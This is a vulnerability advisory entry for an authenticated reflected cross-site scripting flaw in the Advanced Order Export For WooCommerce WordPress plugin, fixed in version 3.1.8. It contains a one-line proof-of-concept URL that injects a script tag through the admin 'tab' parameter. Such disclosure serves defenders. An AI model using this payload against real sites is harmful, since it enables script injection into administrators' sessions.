WordPress Plugin Vulnerabilities
Advanced Order Export For WooCommerce < 3.1.8 - Authenticated Reflected Cross-Site Scripting (XSS)
Description
This plugin helps you to easily export WooCommerce order data. The tab parameter in the Admin Panel was vulnerable to authenticated reflected XSS.
Proof of Concept
wp-admin/admin.php?page=wc-order-export&tab=</script><script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 3.1.8
References
Classification
Miscellaneous
Original Researcher
0xB9
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-03-03 (about 1 years ago)
Added
2021-03-03 (about 1 years ago)
Last Updated
2021-05-13 (about 1 years ago)